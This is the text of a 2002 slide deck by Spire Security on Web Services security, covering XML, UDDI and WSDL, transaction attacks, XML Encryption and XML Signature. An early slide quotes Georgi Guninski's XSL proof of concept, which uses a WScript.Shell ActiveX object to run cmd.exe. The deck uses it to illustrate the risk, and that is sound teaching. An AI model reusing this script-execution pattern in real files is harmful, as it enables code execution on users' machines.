Fiction

- This “behind the firewall” stuff is a bunch of hooey.
- Web Services Security isn’t scary if you break an implementation down into its component parts.
- Truth: You will never be completely secure (and aren’t now!).
Torn From the Headlines!

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#m$ux" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<xsl:script>
<![CDATA[
  x=new ActiveXObject("WScript.Shell");
x.Run("%systemroot%\SYSTEM32\CMD.EXE /C DIR C:\a /p /s");
]]>
</xsl:script>
<msux>
  msux
  written by georgi guninski
</msux>
</xsl:stylesheet>

Source: http://www.guninski.com/ex$el2.html

© 2002 Spire Security. All rights reserved.
Web Services Components

- XML –EXtensible Markup Language creates a way to define many different data formats so that platforms can interoperate. XML documents and transactions are made up of elements within a multi-level hierarchical structure.

- UDDI – The Universal Description, Discovery, and Integration specification provides a registry for Web Services that can be searched for services and allows for dynamic updates.

- WSDL – The Web Services Description Language provides a way to describe interfaces for Web Services.

Web Services
Opportunities & Risks

- Multiple data sources provide many alternatives and opportunities for business.
  - How do we ensure that the data sources are legitimate?

- Real-time transactions can be submitted just-in-time.
  - How do we validate the data prior to its use?

- Contextual data makes integration easy.
  - Who else may intercept the data?

- Directories allow for dynamic lookups and immediate gratification.
  - How do we validate the directories?
Transaction Security

Create Document

Source

Receive Document

Destination

Elements

© 2002 Spire Security. All rights reserved.
## Transaction Attack Methods

<table>
<thead>
<tr>
<th>Attack</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify</td>
<td>Change data within a transaction.</td>
</tr>
<tr>
<td>Sniff</td>
<td>Intercept and read data in a transaction.</td>
</tr>
<tr>
<td>Spoof</td>
<td>Submit fake transaction.</td>
</tr>
<tr>
<td>Replay</td>
<td>Resubmit real transaction.</td>
</tr>
</tbody>
</table>
Data Protection Goals

- Confidentiality – protect data from being seen by inappropriate people/entities.
- Integrity – protect data from being modified inappropriately.
- Authenticity – ensure the data and its source are legitimate.
- Availability – ensure the data is accessible by appropriate entities.
Basic Confidentiality

Encryption:

-inside Encrypt data with symmetric key

-inside Securely transfer key to recipient
  (e.g. encrypt symmetric key with recipient’s public key)

Decryption:

-inside Securely receive key
  (e.g. decrypt symmetric key with recipient’s private key)

-inside Decrypt data with symmetric key
XML Encryption

Encryption:

- Use `<EncryptionMethod>` to create `<CipherValue>` described by `<CipherData>` elements.
- Securely transfer key to recipient using `<KeyInfo>` or out of band method.

Decryption:

- Retrieve key using `<KeyInfo>`.
- Take `<CipherValue>` and identify `<EncryptionMethod>` to decrypt data.
XML Encryption Roundup

- The goal is confidentiality (privacy).
- The key is the key – key management.
- Must be able to retain keys over time.
- Must be able to protect the keys.
- Must keep the key and the cipherdata separate.
What about SSL?

- SSL begins and terminates in concert with a communications session; there is no persistent security.
- SSL is point-to-point; it breaks down in a multi-point environment.
- SSL is not data-aware; it just encrypts everything that is there.
- SSL was never meant to handle the security needs of the Web Services environment.
Integrity & Authenticity

**Sign:**
- Process data through one way hash
- Sign hash with **source** private key
- Transmit data

**Validate:**
- Validate signature with **source** public key
- Re-hash data and compare
XML Signature

<Signature>
  <SignedInfo>
    <CanonicalizationMethod />
    <SignatureMethod />
    <Reference>
      <Transforms>
        <DigestMethod>
          <DigestValue>
            <KeyInfo />
          </DigestValue>
        </DigestMethod>
      </Transforms>
    </Reference>
  </SignedInfo>
  <SignatureValue />
  <KeyInfo />
</Signature>
**XML Signature**

**Sign:**
- Canonicalize data (<CanonicalizationMethod>)
- Process data through one way hash (<DigestMethod>; <DigestValue>)
- Sign hash with **source** private key (<SignatureMethod>; <SignatureValue>)
- Transmit data

**Validate:**
- Validate signature with **source** public key
- Re-hash data and compare
XML Signature Roundup

- Always include dynamic information in signed data.
  - Protect against replay attacks.
- Retrieve key info out-of-band.
  - Segregation for validation.
- Validate all algorithm sources.
## Transaction Attack Methods

<table>
<thead>
<tr>
<th>Attack</th>
<th>Description</th>
<th>Solution</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify</td>
<td>Change data within a transaction.</td>
<td>Sign</td>
</tr>
<tr>
<td>Sniff</td>
<td>Intercept and read data in a transaction.</td>
<td>Encrypt</td>
</tr>
<tr>
<td>Spoof</td>
<td>Submit fake transaction.</td>
<td>Validate</td>
</tr>
<tr>
<td>Replay</td>
<td>Resubmit real transaction.</td>
<td>Validate/Audit</td>
</tr>
</tbody>
</table>
Transaction Security

Elements

- Encrypt
- Sign
- Aggregate
- Format
- Audit & Receipt

Source

Secure Tx

SSL

Destination

Document Preparation

Document Receipt

Confidentiality

Authenticity & Integrity

Decrypt

Validate

Transform

Present
Security Roundup

- Harden the hosts
- Authenticate the components
- Access Control
  - Limit usage to specific entities
  - Validate inputs (user and application)
- Secure the transaction
- Always follow the data…
Thank You

Agree? Disagree?

Pete Lindstrom
petelind@spiresecurity.com
www.spiresecurity.com